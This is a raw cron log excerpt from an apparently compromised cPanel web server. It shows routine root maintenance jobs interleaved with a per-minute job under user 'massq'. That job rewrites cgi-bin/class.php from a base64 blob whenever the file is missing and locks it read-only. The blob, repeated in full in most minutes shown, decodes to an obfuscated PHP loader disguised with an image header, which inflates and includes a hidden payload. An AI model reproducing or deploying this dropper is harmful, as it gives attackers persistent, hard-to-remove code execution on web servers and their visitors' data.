Aug 30 15:53:01 server CROND[9612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:54:01 server CROND[9991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:54:01 server CROND[9992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:54:01 server CROND[9993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:55:01 server CROND[10466]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:55:01 server CROND[10468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:55:01 server CROND[10469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:55:01 server CROND[10470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:55:01 server CROND[10472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:55:01 server CROND[10473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:55:01 server CROND[10471]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:56:01 server CROND[11293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:56:01 server CROND[11294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:56:01 server CROND[11295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:57:01 server CROND[11677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:57:01 server CROND[11678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:57:01 server CROND[11679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:57:01 server CROND[11680]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 15:58:01 server CROND[12047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:58:01 server CROND[12048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:58:01 server CROND[12049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:59:02 server CROND[12444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:59:02 server CROND[12445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:59:02 server CROND[12446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:00:01 server CROND[12912]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:00:01 server CROND[12913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:00:01 server CROND[12915]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:00:01 server CROND[12916]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:00:01 server CROND[12917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:00:01 server CROND[12929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:00:01 server CROND[12930]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:00:01 server CROND[12927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:00:01 server CROND[12931]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 16:00:01 server CROND[12932]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 16:01:01 server CROND[13754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:01:01 server CROND[13755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:01:01 server CROND[13757]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 16:01:01 server CROND[13756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:01:01 server run-parts(/etc/cron.hourly)[13757]: starting 0anacron
Aug 30 16:01:01 server run-parts(/etc/cron.hourly)[13776]: finished 0anacron
Aug 30 16:02:01 server CROND[14142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:02:01 server CROND[14143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:02:01 server CROND[14144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:03:01 server CROND[14521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:03:01 server CROND[14522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:03:01 server CROND[14523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:04:01 server CROND[14900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:04:01 server CROND[14902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:04:01 server CROND[14901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:05:01 server CROND[15366]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:05:01 server CROND[15368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
